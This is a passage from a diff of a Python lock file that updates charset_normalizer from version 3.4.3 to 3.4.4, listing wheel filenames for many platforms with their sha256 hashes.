"charset_normalizer-3.4.3-cp314-cp314-macosx_10_13_universal2.whl", hash = "sha256:3cd35b7e8aedeb9e34c41385fda4f73ba609e561faedfae0a9e75e44ac558a15"}, - {file = "charset_normalizer-3.4.3-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:b89bc04de1d83006373429975f8ef9e7932534b8cc9ca582e4db7d20d91816db"}, - {file = "charset_normalizer-3.4.3-cp314-cp314-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:2001a39612b241dae17b4687898843f254f8748b796a2e16f1051a17078d991d"}, - {file = "charset_normalizer-3.4.3-cp314-cp314-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:8dcfc373f888e4fb39a7bc57e93e3b845e7f462dacc008d9749568b1c4ece096"}, - {file = "charset_normalizer-3.4.3-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:18b97b8404387b96cdbd30ad660f6407799126d26a39ca65729162fd810a99aa"}, - {file = "charset_normalizer-3.4.3-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:ccf600859c183d70eb47e05a44cd80a4ce77394d1ac0f79dbd2dd90a69a3a049"}, - {file = "charset_normalizer-3.4.3-cp314-cp314-musllinux_1_2_ppc64le.whl", hash = "sha256:53cd68b185d98dde4ad8990e56a58dea83a4162161b1ea9272e5c9182ce415e0"}, - {file = "charset_normalizer-3.4.3-cp314-cp314-musllinux_1_2_s390x.whl", hash = "sha256:30a96e1e1f865f78b030d65241c1ee850cdf422d869e9028e2fc1d5e4db73b92"}, - {file = "charset_normalizer-3.4.3-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:d716a916938e03231e86e43782ca7878fb602a125a91e7acb8b5112e2e96ac16"}, - {file = "charset_normalizer-3.4.3-cp314-cp314-win32.whl", hash = "sha256:c6dbd0ccdda3a2ba7c2ecd9d77b37f3b5831687d8dc1b6ca5f56a4880cc7b7ce"}, - {file = "charset_normalizer-3.4.3-cp314-cp314-win_amd64.whl", hash = "sha256:73dc19b562516fc9bcf6e5d6e596df0b4eb98d87e4f79f3ae71840e6ed21361c"}, - {file = "charset_normalizer-3.4.3-cp38-cp38-macosx_10_9_universal2.whl", hash = "sha256:0f2be7e0cf7754b9a30eb01f4295cc3d4358a479843b31f328afd210e2c7598c"}, - {file = "charset_normalizer-3.4.3-cp38-cp38-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:c60e092517a73c632ec38e290eba714e9627abe9d301c8c8a12ec32c314a2a4b"}, - {file = "charset_normalizer-3.4.3-cp38-cp38-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:252098c8c7a873e17dd696ed98bbe91dbacd571da4b87df3736768efa7a792e4"}, - {file = "charset_normalizer-3.4.3-cp38-cp38-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:3653fad4fe3ed447a596ae8638b437f827234f01a8cd801842e43f3d0a6b281b"}, - {file = "charset_normalizer-3.4.3-cp38-cp38-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:8999f965f922ae054125286faf9f11bc6932184b93011d138925a1773830bbe9"}, - {file = "charset_normalizer-3.4.3-cp38-cp38-musllinux_1_2_aarch64.whl", hash = "sha256:d95bfb53c211b57198bb91c46dd5a2d8018b3af446583aab40074bf7988401cb"}, - {file = "charset_normalizer-3.4.3-cp38-cp38-musllinux_1_2_ppc64le.whl", hash = "sha256:5b413b0b1bfd94dbf4023ad6945889f374cd24e3f62de58d6bb102c4d9ae534a"}, - {file = "charset_normalizer-3.4.3-cp38-cp38-musllinux_1_2_s390x.whl", hash = "sha256:b5e3b2d152e74e100a9e9573837aba24aab611d39428ded46f4e4022ea7d1942"}, - {file = "charset_normalizer-3.4.3-cp38-cp38-musllinux_1_2_x86_64.whl", hash = "sha256:a2d08ac246bb48479170408d6c19f6385fa743e7157d716e144cad849b2dd94b"}, - {file = "charset_normalizer-3.4.3-cp38-cp38-win32.whl", hash = "sha256:ec557499516fc90fd374bf2e32349a2887a876fbf162c160e3c01b6849eaf557"}, - {file = "charset_normalizer-3.4.3-cp38-cp38-win_amd64.whl", hash = "sha256:5d8d01eac18c423815ed4f4a2ec3b439d654e55ee4ad610e153cf02faf67ea40"}, - {file = "charset_normalizer-3.4.3-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:70bfc5f2c318afece2f5838ea5e4c3febada0be750fcf4775641052bbba14d05"}, - {file = "charset_normalizer-3.4.3-cp39-cp39-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:23b6b24d74478dc833444cbd927c338349d6ae852ba53a0d02a2de1fce45b96e"}, - {file = "charset_normalizer-3.4.3-cp39-cp39-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:34a7f768e3f985abdb42841e20e17b330ad3aaf4bb7e7aeeb73db2e70f077b99"}, - {file = "charset_normalizer-3.4.3-cp39-cp39-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:fb731e5deb0c7ef82d698b0f4c5bb724633ee2a489401594c5c88b02e6cb15f7"}, - {file = "charset_normalizer-3.4.3-cp39-cp39-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:257f26fed7d7ff59921b78244f3cd93ed2af1800ff048c33f624c87475819dd7"}, - {file = "charset_normalizer-3.4.3-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:1ef99f0456d3d46a50945c98de1774da86f8e992ab5c77865ea8b8195341fc19"}, - {file = "charset_normalizer-3.4.3-cp39-cp39-musllinux_1_2_ppc64le.whl", hash = "sha256:2c322db9c8c89009a990ef07c3bcc9f011a3269bc06782f916cd3d9eed7c9312"}, - {file = "charset_normalizer-3.4.3-cp39-cp39-musllinux_1_2_s390x.whl", hash = "sha256:511729f456829ef86ac41ca78c63a5cb55240ed23b4b737faca0eb1abb1c41bc"}, - {file = "charset_normalizer-3.4.3-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:88ab34806dea0671532d3f82d82b85e8fc23d7b2dd12fa837978dad9bb392a34"}, - {file = "charset_normalizer-3.4.3-cp39-cp39-win32.whl", hash = "sha256:16a8770207946ac75703458e2c743631c79c59c5890c80011d536248f8eaa432"}, - {file = "charset_normalizer-3.4.3-cp39-cp39-win_amd64.whl", hash = "sha256:d22dbedd33326a4a5190dd4fe9e9e693ef12160c77382d9e87919bce54f3d4ca"}, - {file = "charset_normalizer-3.4.3-py3-none-any.whl", hash = "sha256:ce571ab16d890d23b5c278547ba694193a45011ff86a9162a71307ed9f86759a"}, - {file = "charset_normalizer-3.4.3.tar.gz", hash = "sha256:6fce4b8500244f6fcb71465d4a4930d132ba9ab8e71a7859e6a5d59851068d14"}, + {file = "charset_normalizer-3.4.4-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:e824f1492727fa856dd6eda4f7cee25f8518a12f3c4a56a74e8095695089cf6d"}, + {file = "charset_normalizer-3.4.4-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:4bd5d4137d500351a30687c2d3971758aac9a19208fc110ccb9d7188fbe709e8"}, + {file = "charset_normalizer-3.4.4-cp310-cp310-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:027f6de494925c0ab2a55eab46ae5129951638a49a34d87f4c3eda90f696b4ad"}, + {file = "charset_normalizer-3.4.4-cp310-cp310-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:f820802628d2694cb7e56db99213f930856014862f3fd943d290ea8438d07ca8"}, + {file = "charset_normalizer-3.4.4-cp310-cp310-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:798d75d81754988d2565bff1b97ba5a44411867c0cf32b77a7e8f8d84796b10d"}, + {file = "charset_normalizer-3.4.4-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:9d1bb833febdff5c8927f922386db610b49db6e0d4f4ee29601d71e7c2694313"}, + {file = "charset_normalizer-3.4.4-cp310-cp310-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:9cd98cdc06614a2f768d2b7286d66805f94c48cde050acdbbb7db2600ab3197e"}, + {file = "charset_normalizer-3.4.4-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:077fbb858e903c73f6c9db43374fd213b0b6a778106bc7032446a8e8b5b38b93"}, + {file = "charset_normalizer-3.4.4-cp310-cp310-musllinux_1_2_armv7l.whl", hash = "sha256:244bfb999c71b35de57821b8ea746b24e863398194a4014e4c76adc2bbdfeff0"}, + {file = "charset_normalizer-3.4.4-cp310-cp310-musllinux_1_2_ppc64le.whl", hash = "sha256:64b55f9dce520635f018f907ff1b0df1fdc31f2795a922fb49dd14fbcdf48c84"}, + {file = "charset_normalizer-3.4.4-cp310-cp310-musllinux_1_2_riscv64.whl", hash = "sha256:faa3a41b2b66b6e50f84ae4a68c64fcd0c44355741c6374813a800cd6695db9e"}, + {file = "charset_normalizer-3.4.4-cp310-cp310-musllinux_1_2_s390x.whl", hash = "sha256:6515f3182dbe4ea06ced2d9e8666d97b46ef4c75e326b79bb624110f122551db"}, + {file = "charset_normalizer-3.4.4-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:cc00f04ed596e9dc0da42ed17ac5e596c6ccba999ba6bd92b0e0aef2f170f2d6"}, + {file = "charset_normalizer-3.4.4-cp310-cp310-win32.whl", hash = "sha256:f34be2938726fc13801220747472850852fe6b1ea75869a048d6f896838c896f"}, + {file = "charset_normalizer-3.4.4-cp310-cp310-win_amd64.whl", hash = "sha256:a61900df84c667873b292c3de315a786dd8dac506704dea57bc957bd31e22c7d"}, + {file = "charset_normalizer-3.4.4-cp310-cp310-win_arm64.whl", hash = "sha256:cead0978fc57397645f12578bfd2d5ea9138ea0fac82b2f63f7f7c6877986a69"}, + {file = "charset_normalizer-3.4.4-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:6e1fcf0720908f200cd21aa4e6750a48ff6ce4afe7ff5a79a90d5ed8a08296f8"}, + {file = "charset_normalizer-3.4.4-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:5f819d5fe9234f9f82d75bdfa9aef3a3d72c4d24a6e57aeaebba32a704553aa0"}, + {file = "charset_normalizer-3.4.4-cp311-cp311-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:a59cb51917aa591b1c4e6a43c132f0cdc3c76dbad6155df4e28ee626cc77a0a3"}, + {file = "charset_normalizer-3.4.4-cp311-cp311-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:8ef3c867360f88ac904fd3f5e1f902f13307af9052646963ee08ff4f131adafc"}, + {file = "charset_normalizer-3.4.4-cp311-cp311-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:d9e45d7faa48ee908174d8fe84854479ef838fc6a705c9315372eacbc2f02897"}, + {file = "charset_normalizer-3.4.4-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:840c25fb618a231545cbab0564a799f101b63b9901f2569faecd6b222ac72381"}, + {file = "charset_normalizer-3.4.4-cp311-cp311-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:ca5862d5b3928c4940729dacc329aa9102900382fea192fc5e52eb69d6093815"}, + {file = "charset_normalizer-3.4.4-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:d9c7f57c3d666a53421049053eaacdd14bbd0a528e2186fcb2e672effd053bb0"}, + {file = "charset_normalizer-3.4.4-cp311-cp311-musllinux_1_2_armv7l.whl", hash = "sha256:277e970e750505ed74c832b4bf75dac7476262ee2a013f5574dd49075879e161"}, + {file = "charset_normalizer-3.4.4-cp311-cp311-musllinux_1_2_ppc64le.whl", hash = "sha256:31fd66405eaf47bb62e8cd575dc621c56c668f27d46a61d975a249930dd5e2a4"}, + {file = "charset_normalizer-3.4.4-cp311-cp311-musllinux_1_2_riscv64.whl", hash = "sha256:0d3d8f15c07f86e9ff82319b3d9ef6f4bf907608f53fe9d92b28ea9ae3d1fd89"}, + {file = "charset_normalizer-3.4.4-cp311-cp311-musllinux_1_2_s390x.whl", hash = "sha256:9f7fcd74d410a36883701fafa2482a6af2ff5ba96b9a620e9e0721e28ead5569"}, + {file = "charset_normalizer-3.4.4-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:ebf3e58c7ec8a8bed6d66a75d7fb37b55e5015b03ceae72a8e7c74495551e224"}, + {file = "charset_normalizer-3.4.4-cp311-cp311-win32.whl", hash = "sha256:eecbc200c7fd5ddb9a7f16c7decb07b566c29fa2161a16cf67b8d068bd21690a"}, + {file = "charset_normalizer-3.4.4-cp311-cp311-win_amd64.whl", hash = "sha256:5ae497466c7901d54b639cf42d5b8c1b6a4fead55215500d2f486d34db48d016"}, + {file = "charset_normalizer-3.4.4-cp311-cp311-win_arm64.whl", hash = "sha256:65e2befcd84bc6f37095f5961e68a6f077bf44946771354a28ad434c2cce0ae1"}, + {file = "charset_normalizer-3.4.4-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:0a98e6759f854bd25a58a73fa88833fba3b7c491169f86ce1180c948ab3fd394"}, + {file = "charset_normalizer-3.4.4-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:b5b290ccc2a263e8d185130284f8501e3e36c5e02750fc6b6bdeb2e9e96f1e25"}, + {file = "charset_normalizer-3.4.4-cp312-cp312-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:74bb723680f9f7a6234dcf67aea57e708ec1fbdf5699fb91dfd6f511b0a320ef"}, + {file = "charset_normalizer-3.4.4-cp312-cp312-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:f1e34719c6ed0b92f418c7c780480b26b5d9c50349e9a9af7d76bf757530350d"}, + {file = "charset_normalizer-3.4.4-cp312-cp312-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:2437418e20515acec67d86e12bf70056a33abdacb5cb1655042f6538d6b085a8"}, + {file = "charset_normalizer-3.4.4-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:11d694519d7f29d6cd09f6ac70028dba10f92f6cdd059096db198c283794ac86"}, + {file = "charset_normalizer-3.4.4-cp312-cp312-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:ac1c4a689edcc530fc9d9aa11f5774b9e2f33f9a0c6a57864e90908f5208d30a"}, + {file = "charset_normalizer-3.4.4-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:21d142cc6c0ec30d2efee5068ca36c128a30b0f2c53c1c07bd78cb6bc1d3be5f"}, + {file = "charset_normalizer-3.4.4-cp312-cp312-musllinux_1_2_armv7l.whl", hash = "sha256:5dbe56a36425d26d6cfb40ce79c314a2e4dd6211d51d6d2191c00bed34f354cc"}, + {file = "charset_normalizer-3.4.4-cp312-cp312-musllinux_1_2_ppc64le.whl", hash = "sha256:5bfbb1b9acf3334612667b61bd3002196fe2a1eb4dd74d247e0f2a4d50ec9bbf"}, + {file = "charset_normalizer-3.4.4-cp312-cp312-musllinux_1_2_riscv64.whl", hash = "sha256:d055ec1e26e441f6187acf818b73564e6e6282709e9bcb5b63f5b23068356a15"}, + {file = "charset_normalizer-3.4.4-cp312-cp312-musllinux_1_2_s390x.whl", hash = "sha256:af2d8c67d8e573d6de5bc30cdb27e9b95e49115cd9baad5ddbd1a6207aaa82a9"}, + {file = "charset_normalizer-3.4.4-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:780236ac706e66881f3b7f2f32dfe90507a09e67d1d454c762cf642e6e1586e0"}, + {file = "charset_normalizer-3.4.4-cp312-cp312-win32.whl", hash = "sha256:5833d2c39d8896e4e19b689ffc198f08ea58116bee26dea51e362ecc7cd3ed26"}, + {file = "charset_normalizer-3.4.4-cp312-cp312-win_amd64.whl", hash = "sha256:a79cfe37875f822425b89a82333404539ae63dbdddf97f84dcbc3d339aae9525"}, + {file = "charset_normalizer-3.4.4-cp312-cp312-win_arm64.whl", hash = "sha256:376bec83a63b8021bb5c8ea75e21c4ccb86e7e45ca4eb81146091b56599b80c3"}, + {file = "charset_normalizer-3.4.4-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:e1f185f86a6f3403aa2420e815904c67b2f9ebc443f045edd0de921108345794"}, + {file = "charset_normalizer-3.4.4-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:6b39f987ae8ccdf0d2642338faf2abb1862340facc796048b604ef14919e55ed"}, + {file = "charset_normalizer-3.4.4-cp313-cp313-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:3162d5d8ce1bb98dd51af660f2121c55d0fa541b46dff7bb9b9f86ea1d87de72"}, + {file = "charset_normalizer-3.4.4-cp313-cp313-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:81d5eb2a312700f4ecaa977a8235b634ce853200e828fbadf3a9c50bab278328"}, + {file = "charset_normalizer-3.4.4-cp313-cp313-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:5bd2293095d766545ec1a8f612559f6b40abc0eb18bb2f5d1171872d34036ede"}, + {file = "charset_normalizer-3.4.4-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:a8a8b89589086a25749f471e6a900d3f662d1d3b6e2e59dcecf787b1cc3a1894"}, + {file = "charset_normalizer-3.4.4-cp313-cp313-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:bc7637e2f80d8530ee4a78e878bce464f70087ce73cf7c1caf142416923b98f1"}, + {file = "charset_normalizer-3.4.4-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:f8bf04158c6b607d747e93949aa60618b61312fe647a6369f88ce2ff16043490"}, + {file = "charset_normalizer-3.4.4-cp313-cp313-musllinux_1_2_armv7l.whl", hash = "sha256:554af85e960429cf30784dd47447d5125aaa3b99a6f0683589dbd27e2f45da44"}, + {file = "charset_normalizer-3.4.4-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:74018750915ee7ad843a774364e13a3db91682f26142baddf775342c3f5b1133"}, + {file = "charset_normalizer-3.4.4-cp313-cp313-musllinux_1_2_riscv64.whl", hash = "sha256:c0463276121fdee9c49b98908b3a89c39be45d86d1dbaa22957e38f6321d4ce3"}, + {file = "charset_normalizer-3.4.4-cp313-cp313-musllinux_1_2_s390x.whl", hash = "sha256:362d61fd13843997c1c446760ef36f240cf81d3ebf74ac62652aebaf7838561e"}, + {file = "charset_normalizer-3.4.4-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:9a26f18905b8dd5d685d6d07b0cdf98a79f3c7a918906af7cc143ea2e164c8bc"}, + {file = "charset_normalizer-3.4.4-cp313-cp313-win32.whl", hash = "sha256:9b35f4c90079ff2e2edc5b26c0c77925e5d2d255c42c74fdb70fb49b172726ac"}, + {file = "charset_normalizer-3.4.4-cp313-cp313-win_amd64.whl", hash = "sha256:b435cba5f4f750aa6c0a0d92c541fb79f69a387c91e61f1795227e4ed9cece14"}, + {file = "charset_normalizer-3.4.4-cp313-cp313-win_arm64.whl", hash = "sha256:542d2cee80be6f80247095cc36c418f7bddd14f4a6de45af91dfad36d817bba2"}, + {file = "charset_normalizer-3.4.4-cp314-cp314-macosx_10_13_universal2.whl", hash = "sha256:da3326d9e65ef63a817ecbcc0df6e94463713b754fe293eaa03da99befb9a5bd"}, + {file = "charset_normalizer-3.4.4-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:8af65f14dc14a79b924524b1e7fffe304517b2bff5a58bf64f30b98bbc5079eb"}, + {file = "charset_normalizer-3.4.4-cp314-cp314-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:74664978bb272435107de04e36db5a9735e78232b85b77d45cfb38f758efd33e"}, + {file = "charset_normalizer-3.4.4-cp314-cp314-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:752944c7ffbfdd10c074dc58ec2d5a8a4cd9493b314d367c14d24c17684ddd14"}, + {file = "charset_normalizer-3.4.4-cp314-cp314-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:d1f13550535ad8cff21b8d757a3257963e951d96e20ec82ab44bc64aeb62a191"}, + {file = "charset_normalizer-3.4.4-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:ecaae4149d99b1c9e7b88bb03e3221956f68fd6d50be2ef061b2381b61d20838"}, + {file = "charset_normalizer-3.4.4-cp314-cp314-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:cb6254dc36b47a990e59e1068afacdcd02958bdcce30bb50cc1700a8b9d624a6"}, + {file = "charset_normalizer-3.4.4-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:c8ae8a0f02f57a6e61203a31428fa1d677cbe50c93622b4149d5c0f319c1d19e"}, + {file = "charset_normalizer-3.4.4-cp314-cp314-musllinux_1_2_armv7l.whl", hash = "sha256:47cc91b2f4dd2833fddaedd2893006b0106129d4b94fdb6af1f4ce5a9965577c"}, + {file = "charset_normalizer-3.4.4-cp314-cp314-musllinux_1_2_ppc64le.whl", hash = "sha256:82004af6c302b5d3ab2cfc4cc5f29db16123b1a8417f2e25f9066f91d4411090"}, + {file = "charset_normalizer-3.4.4-cp314-cp314-musllinux_1_2_riscv64.whl", hash = "sha256:2b7d8f6c26245217bd2ad053761201e9f9680f8ce52f0fcd8d0755aeae5b2152"}, + {file = "charset_normalizer-3.4.4-cp314-cp314-musllinux_1_2_s390x.whl", hash = "sha256:799a7a5e4fb2d5898c60b640fd4981d6a25f1c11790935a44ce38c54e985f828"}, + {file = "charset_normalizer-3.4.4-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:99ae2cffebb06e6c22bdc25801d7b30f503cc87dbd283479e7b606f70aff57ec"}, + {file = "charset_normalizer-3.4.4-cp314-cp314-win32.whl", hash = "sha256:f9d332f8c2a2fcbffe1378594431458ddbef721c1769d78e2cbc06280d8155f9"}, + {file = "charset_normalizer-3.4.4-cp314-cp314-win_amd64.whl", hash = "sha256:8a6562c3700cce886c5be75ade4a5db4214fda19fede41d9792d100288d8f94c"}, + {file = "charset_normalizer-3.4.4-cp314-cp314-win_arm64.whl", hash = "sha256:de00632ca48df9daf77a2c65a484531649261ec9f25489917f09e455cb09ddb2"}, + {file = "charset_normalizer-3.4.4-cp38-cp38-macosx_10_9_universal2.whl", hash = "sha256:ce8a0633f41a967713a59c4139d29110c07e826d131a316b50ce11b1d79b4f84"}, + {file = "charset_normalizer-3.4.4-cp38-cp38-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:eaabd426fe94daf8fd157c32e571c85cb12e66692f15516a83a03264b08d06c3"}, + {file = "charset_normalizer-3.4.4-cp38-cp38-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:c4ef880e27901b6cc782f1b95f82da9313c0eb95c3af699103088fa0ac3ce9ac"}, + {file = "charset_normalizer-3.4.4-cp38-cp38-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:2aaba3b0819274cc41757a1da876f810a3e4d7b6eb25699253a4effef9e8e4af"}, + {file = "charset_normalizer-3.4.4-cp38-cp38-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:778d2e08eda00f4256d7f672ca9fef386071c9202f5e4607920b86d7803387f2"}, + {file = "charset_normalizer-3.4.4-cp38-cp38-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:f155a433c2ec037d4e8df17d18922c3a0d9b3232a396690f17175d2946f0218d"}, + {file = "charset_normalizer-3.4.4-cp38-cp38-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:a8bf8d0f749c5757af2142fe7903a9df1d2e8aa3841559b2bad34b08d0e2bcf3"}, + {file = "charset_normalizer-3.4.4-cp38-cp38-musllinux_1_2_aarch64.whl", hash = "sha256:194f08cbb32dc406d6e1aea671a68be0823673db2832b38405deba2fb0d88f63"}, + {file = "charset_normalizer-3.4.4-cp38-cp38-musllinux_1_2_armv7l.whl", hash = "sha256:6aee717dcfead04c6eb1ce3bd29ac1e22663cdea57f943c87d1eab9a025438d7"}, + {file = "charset_normalizer-3.4.4-cp38-cp38-musllinux_1_2_ppc64le.whl", hash = "sha256:cd4b7ca9984e5e7985c12bc60a6f173f3c958eae74f3ef6624bb6b26e2abbae4"}, + {file = "charset_normalizer-3.4.4-cp38-cp38-musllinux_1_2_riscv64.whl", hash = "sha256:b7cf1017d601aa35e6bb650b6ad28652c9cd78ee6caff19f3c28d03e1c80acbf"}, + {file = "charset_normalizer-3.4.4-cp38-cp38-musllinux_1_2_s390x.whl", hash = "sha256:e912091979546adf63357d7e2ccff9b44f026c075aeaf25a52d0e95ad2281074"}, + {file = "charset_normalizer-3.4.4-cp38-cp38-musllinux_1_2_x86_64.whl", hash = "sha256:5cb4d72eea50c8868f5288b7f7f33ed276118325c1dfd3957089f6b519e1382a"}, + {file = "charset_normalizer-3.4.4-cp38-cp38-win32.whl", hash = "sha256:837c2ce8c5a65a2035be9b3569c684358dfbf109fd3b6969630a87535495ceaa"}, + {file = "charset_normalizer-3.4.4-cp38-cp38-win_amd64.whl", hash = "sha256:44c2a8734b333e0578090c4cd6b16f275e07aa6614ca8715e6c038e865e70576"}, + {file = "charset_normalizer-3.4.4-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:a9768c477b9d7bd54bc0c86dbaebdec6f03306675526c9927c0e8a04e8f94af9"}, + {file = "charset_normalizer-3.4.4-cp39-cp39-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:1bee1e43c28aa63cb16e5c14e582580546b08e535299b8b6158a7c9c768a1f3d"}, + {file = "charset_normalizer-3.4.4-cp39-cp39-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:fd44c878ea55ba351104cb93cc85e74916eb8fa440ca7903e57575e97394f608"}, + {file = "charset_normalizer-3.4.4-cp39-cp39-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:0f04b14ffe5fdc8c4933862d8306109a2c51e0704acfa35d51598eb45a1e89fc"}, + {file = "charset_normalizer-3.4.4-cp39-cp39-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:cd09d08005f958f370f539f186d10aec3377d55b9eeb0d796025d4886119d76e"}, + {file = "charset_normalizer-3.4.4-cp39-cp39-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:4fe7859a4e3e8457458e2ff592f15ccb02f3da787fcd31e0183879c3ad4692a1"}, + {file = "charset_normalizer-3.4.4-cp39-cp39-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:fa09f53c465e532f4d3db095e0c55b615f010ad81803d383195b6b5ca6cbf5f3"}, + {file = "charset_normalizer-3.4.4-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:7fa17817dc5625de8a027cb8b26d9fefa3ea28c8253929b8d6649e705d2835b6"}, + {file = "charset_normalizer-3.4.4-cp39-cp39-musllinux_1_2_armv7l.whl", hash = "sha256:5947809c8a2417be3267efc979c47d76a079758166f7d43ef5ae8e9f92751f88"}, + {file = "charset_normalizer-3.4.4-cp39-cp39-musllinux_1_2_ppc64le.whl", hash = "sha256:4902828217069c3c5c71094537a8e623f5d097858ac6ca8252f7b4d10b7560f1"}, + {file = "charset_normalizer-3.4.4-cp39-cp39-musllinux_1_2_riscv64.whl", hash = "sha256:7c308f7e26e4363d79df40ca5b2be1c6ba9f02bdbccfed5abddb7859a6ce72cf"}, + {file = "charset_normalizer-3.4.4-cp39-cp39-musllinux_1_2_s390x.whl", hash = "sha256:2c9d3c380143a1fedbff95a312aa798578371eb29da42106a29019368a475318"}, + {file = "charset_normalizer-3.4.4-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:cb01158d8b88ee68f15949894ccc6712278243d95f344770fa7593fa2d94410c"}, + {file = "charset_normalizer-3.4.4-cp39-cp39-win32.whl", hash = "sha256:2677acec1a2f8ef614c6888b5b4ae4060cc184174a938ed4e8ef690e15d3e505"}, + {file = 